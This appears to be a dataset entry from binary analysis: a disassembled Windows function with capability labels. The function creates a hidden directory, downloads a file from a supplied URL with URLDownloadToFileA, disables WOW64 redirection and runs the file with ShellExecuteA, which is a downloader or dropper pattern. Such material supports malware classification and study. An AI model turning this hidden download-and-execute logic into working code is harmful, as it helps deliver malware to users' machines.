Function at 0x4036b0
Capabilities:
Create directory
Create process on windows
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45a39e
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x477040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x94], edi
mov dword [ebp - 0x8c], edi
mov dword [ebp - 0x8c], edi
mov dword [ebp - 4], 0
call fcn.00403120
mov esi, eax
mov edx, esi
mov dword [ebp - 0x8c], esi
call fcn.00406860
mov ecx, esi
call fcn.004035e0
test al, al
jne 0x403729
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x9c], 0
lea edx, [eax - 4]
mov dword [ebp - 0x98], 0
cmp eax, edx
jb 0x403be3
sub eax, edx
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
cmova eax, dword [ebp + 0xc]
push ecx
add eax, edx
lea ecx, [ebp - 0xb0]
push eax
call fcn.004070d0
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 1
call fcn.00403300
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00406b30
add esp, 4
mov esi, eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 3
cmp esi, eax
jne 0x4037f7
push str.You_cannot_concatenate_the_same_moved_string_to_itself._See_N4950__res.on.arguments__1.3:_If_a_function_argument_is_bound_to_an_rvalue_reference_parameter__the_implementation_may_assume_that_this_parameter_is_a_unique_reference_to_this_argument__except_that_the_argument_passed_to_a_move_assignment_operator_may_be_a_reference_to_this___lib.types.movedfrom__.
push 0x471954
push 0
push 0x1394
push 0x472310
push 2
call fcn.00416af0
add esp, 0x18
cmp eax, 1
jne 0x4037d9
int3
push 0
push 0x1394
push str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexstring
push 0x471a84
push str._You_cannot_concatenate_the_same_moved_string_to_itself._See_N4950__res.on.arguments__1.3:____If_a_function_argument_is_bound_to_an_rvalue_reference_parameter__the_implementation_may_assume_that____this_parameter_is_a_unique_reference_to_this_argument__except_that_the_argument_passed_to____a_move_assignment_operator_may_be_a_reference_to_this___lib.types.movedfrom__._
call fcn.004173a0
add esp, 0x14
lea eax, [ebp - 0xb0]
push eax
push esi
push dword [ebp - 0x94]
lea ecx, [ebp - 0x6c]
call fcn.00408640
lea ecx, [ebp - 0x34]
call fcn.00405770
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0xd0]
call fcn.00405770
mov eax, dword [ebp - 0xd0]
push 8
push eax
mov dword [ebp - 0xd0], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 7
call fcn.00405770
mov eax, dword [ebp - 0xb0]
push 8
push eax
mov dword [ebp - 0xb0], 0
call fcn.00410400
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x68]
sub esp, 8
cmp dword [ebp - 0x54], 0xf
mov esi, esp
cmova ecx, dword [ebp - 0x68]
add eax, ecx
lea ecx, [ebp - 0x18]
push 3
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], eax
call fcn.00408ff0
mov ecx, dword [ebp - 0x6c]
mov eax, dword [esi]
mov dword [ebp - 0x14], ecx
cmp eax, ecx
je 0x4038cb
test eax, eax
je 0x4038c0
mov ecx, esi
call fcn.00401a10
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
mov dword [esi], ecx
lea ecx, [ebp - 0x18]
call fcn.004090a0
sub esp, 0xc
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 0xf
lea ecx, [ebp - 0x14]
mov esi, esp
cmova eax, dword [ebp - 0x68]
push 3
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], eax
call fcn.00408ff0
mov ecx, dword [ebp - 0x6c]
mov eax, dword [esi]
mov dword [ebp - 0x18], ecx
cmp eax, ecx
je 0x403922
test eax, eax
je 0x403917
mov ecx, esi
call fcn.00401a10
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
mov dword [esi], ecx
lea ecx, [ebp - 0x14]
call fcn.004090a0
lea ecx, [ebp - 0x88]
call fcn.00406560
mov byte [ebp - 4], 8
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 7
mov esi, dword [ebp - 0x8c]
cmova eax, dword [ebp - 0x84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x14], eax
call fcn.00404860
push 0
push 0
mov byte [ebp - 4], 9
lea eax, [ebp - 0x4c]
push dword [ebp - 0x14]
cmp dword [ebp - 0x38], 0xf
cmova eax, dword [ebp - 0x4c]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp dword [ebp - 0x38], 0xf
lea esi, [ebp - 0x4c]
mov ecx, 0x478210
cmova esi, dword [ebp - 0x4c]
mov edx, esi
call fcn.00406c60
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
push 0
cmova eax, dword [ebp + 0xc]
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [ebp + 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [eax - 4]
mov dword [ebp - 0x1c], 0
cmp eax, edx
jb 0x403be8
sub eax, edx
mov ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
cmova eax, dword [ebp + 0xc]
push ecx
add eax, edx
lea ecx, [ebp - 0x34]
push eax
call fcn.004070d0
lea ecx, [ebp - 0x34]
call fcn.004067e0
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x8d], al
call fcn.00405770
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00410400
add esp, 8
cmp byte [ebp - 0x8d], 0
je 0x403a87
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x403b20
call fcn.00403120
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov edi, eax
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.00404860
push 0
push 0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0xf
push esi
cmova eax, dword [ebp - 0x30]
push eax
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp dword [ebp - 0x1c], 0xf
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x4c]
cmova edx, dword [ebp - 0x30]
cmp dword [ebp - 0x38], 0xf
cmova ecx, dword [ebp - 0x4c]
push ecx
call fcn.00402a60
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x34]
call fcn.00405770
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00410400
mov edi, dword [ebp - 0x94]
add esp, 8
xorps xmm0, xmm0
mov dword [edi], 0
push 4
movups xmmword [edi + 4], xmm0
push str.Work
mov ecx, edi
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
call fcn.004070d0
lea ecx, [ebp - 0x50]
call fcn.00405770
mov eax, dword [ebp - 0x50]
push 8
push eax
mov dword [ebp - 0x50], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0x88]
call fcn.00405690
mov eax, dword [ebp - 0x88]
push 8
push eax
mov dword [ebp - 0x88], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0x6c]
call fcn.00405770
mov eax, dword [ebp - 0x6c]
push 8
push eax
mov dword [ebp - 0x6c], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp + 8]
call fcn.00405770
mov ecx, dword [ebp + 8]
push 8
push ecx
mov dword [ebp + 8], 0
call fcn.00410400
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004103f0
mov esp, ebp
pop ebp
ret
call fcn.00406360
call fcn.00406360
int3